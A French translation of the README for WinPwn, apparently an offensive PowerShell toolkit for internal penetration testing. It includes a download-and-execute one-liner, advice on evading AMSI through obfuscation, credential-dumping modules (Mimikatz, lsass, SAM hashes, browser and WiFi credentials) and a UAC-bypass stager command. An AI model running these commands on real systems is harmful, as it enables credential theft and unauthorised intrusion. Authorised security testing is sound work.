Sponsorisé par

     

WinPwn

Dans de nombreux tests de pénétration internes passés, j'avais souvent des problèmes avec les scripts PowerShell de reconnaissance/exploitation existants en raison du manque de support proxy. Je lançais aussi souvent les mêmes scripts les uns après les autres pour obtenir des informations sur le système actuel et/ou le domaine. Pour automatiser autant de processus de test de pénétration interne (reconnaissance ainsi qu'exploitation) et pour la raison du proxy, j'ai écrit mon propre script avec reconnaissance et intégration automatiques du proxy. Le script est principalement basé sur de grands projets PowerShell offensifs bien connus.

Toute suggestion, retour, Pull request et commentaire sont les bienvenus !

Importez simplement les modules avec :

Import-Module .\WinPwn.ps1 ou iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')

Pour contourner AMSI, utilisez l'une des techniques de contournement existantes, trouvez le déclencheur AMSI et modifiez-le manuellement dans la fonction de contournement ou encodez la chaîne du déclencheur. Sinon, obfusquez l'ensemble du script.

Si vous vous retrouvez bloqué sur un système Windows sans accès Internet - aucun problème, utilisez simplement Offline_Winpwn.ps1, les scripts et exécutables les plus importants sont inclus.

Fonctions disponibles après import :

• WinPwn -> Menu pour choisir les attaques :

• Inveigh -> Exécute Inveigh dans une nouvelle fenêtre de console, attaques SMB-Relay avec gestion de session (Invoke-TheHash) intégrée

• SessionGopher -> Exécute Sessiongopher en vous demandant des paramètres

• Kittielocal ->

  • Version obfusquée d'Invoke-Mimikatz
  • Safetykatz en mémoire
  • Dump de lsass via la technique rundll32
  • Téléchargement et exécution de Lazagne obfusqué
  • Dump des identifiants du navigateur
  • Version personnalisée de Mimikittenz
  • Exfiltration des identifiants WiFi
  • Dump des hashes NTLM du fichier SAM
  • SharpCloud

• Localreconmodules ->

  • Collecter les logiciels installés, les logiciels vulnérables, les partages, les informations réseau, les groupes, les privilèges et bien plus

Sans paramètres, la plupart des fonctions ne peuvent être utilisées qu'à partir d'un shell interactif. J'ai donc décidé d'ajouter les paramètres -noninteractive et -consoleoutput pour rendre le script utilisable depuis un framework C2 asynchrone comme Empire, Covenant, Cobalt Strike ou autres. De plus, le paramètre -repo a été ajouté pour utiliser WinPwn avec toutes ses fonctionnalités depuis un dépôt local. Ils peuvent être utilisés comme suit :

Usage:

-noninteractive -> Aucune question pour les fonctions, elles s'exécutent avec des paramètres prédéfinis ou définis par l'utilisateur

-consoleoutput -> Les dossiers loot/report ne sont pas créés. Chaque fonction renvoie la sortie vers la console afin que vous puissiez tout voir dans les journaux de l'agent de votre framework C2

Exemples :

WinPwn -noninteractive -consoleoutput -DomainRecon -> Cela renverra chaque script et fonction de reconnaissance de domaine et vous donnera probablement beaucoup de sortie

WinPwn -noninteractive -consoleoutput -Localrecon -> Cela énumérera autant d'informations que possible pour le système local

Generalrecon -noninteractive -> Exécute les fonctions de reconnaissance locale de base et stocke la sortie dans les dossiers correspondants

UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> Exécute un stager dans un processus de haute intégrité depuis une session à faibles privilèges

Kittielocal -noninteractive -consoleoutput -browsercredentials -> Dump des identifiants du navigateur via Sharpweb en renvoyant la sortie vers la console

Kittielocal -noninteractive -browsercredentials -> Dump des hashes NTLM du fichier SAM et stocke la sortie dans un fichier

WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Exécute Seatbelt, PowerUp, Watson et d'autres binaires C# en mémoire

Dotnetsearch -consoleoutput -noninteractive -> Recherche dans C:\Program Files\ et C:\Program Files (x86)\ les assemblys .NET

WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> Utilise un serveur web local comme dépôt hors ligne pour utiliser WinPwn sans accès Internet

Get_WinPwn_Repo.sh:

Utilisation : ./Get_WinPwn_Repo.sh {Option}

Exemple : ./Get_WinPwn_Repo.sh --install

Options : --install Télécharger le dépôt et le placer dans ./WinPwn_Repo/ --remove Supprimer le dépôt ./WinPwn_Repo/ --reinstall Supprimer le dépôt et en télécharger un nouveau dans ./WinPwn_Repo/ --start-server Démarrer un serveur HTTP Python sur le port 8000 --help Afficher cette aide

À FAIRE

• Une certaine obfuscation
• Plus d'obfuscation
• Support proxy via fichier PAC
• Obtenir les scripts de mon propre dépôt de creds (https://github.com/S3cur3Th1sSh1t/Creds) pour être indépendant des changements dans les dépôts d'origine
• Plus de fonctions de reconnaissance/exploitation
• Ajouter un menu pour une meilleure gestion des fonctions
• Contournement AMSI
• Bloquer ETW

CRÉDITS

• Kevin-Robertson - Inveigh, Powermad, Invoke-TheHash
• Arvanaghi - SessionGopher
• PowerShellMafia - Powersploit
• Dionach - PassHunt
• A-mIn3 - WINSpect
• 411Hall - JAWS
• sense-of-security - ADrecon
• dafthack - DomainPasswordSpray
• rasta-mouse - Sherlock, Contournement AMSI, PPID Spoof & BlockDLLs
• AlessandroZ - LaZagne
• samratashok - nishang

Stargazers over time

Avertissement légal :

L'utilisation de WinPwn pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive ou des dommages causés par ce programme. Utilisez-le uniquement à des fins éducatives.